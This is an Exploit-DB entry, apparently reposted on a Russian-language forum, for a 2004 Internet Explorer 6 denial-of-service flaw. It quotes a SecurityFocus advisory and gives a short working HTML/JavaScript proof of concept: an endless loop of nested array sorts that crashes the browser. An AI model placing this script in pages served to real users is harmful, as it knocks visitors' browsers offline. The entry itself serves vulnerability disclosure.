- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 24775
- Проверка EDB
-
- Пройдено
- Автор
- BEREND-JAN WEVER
- Тип уязвимости
- DOS
- Платформа
- WINDOWS
- CVE
- N/A
- Дата публикации
- 2004-11-25
Microsoft Internet Explorer 6 - Infinite Array Sort Denial of Service
HTML:
source: https://www.securityfocus.com/bid/11751/info
Microsoft Internet is prone to a vulnerability that may result in a browser crash. This issue is exposed when the browser performs an infinite JavaScript array sort operation. It is conjectured that this will only result in a denial of service and is not further exploitable to execute arbitrary code, though this has not been confirmed.
<HTML>
<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
</HTML>- Источник
- www.exploit-db.com
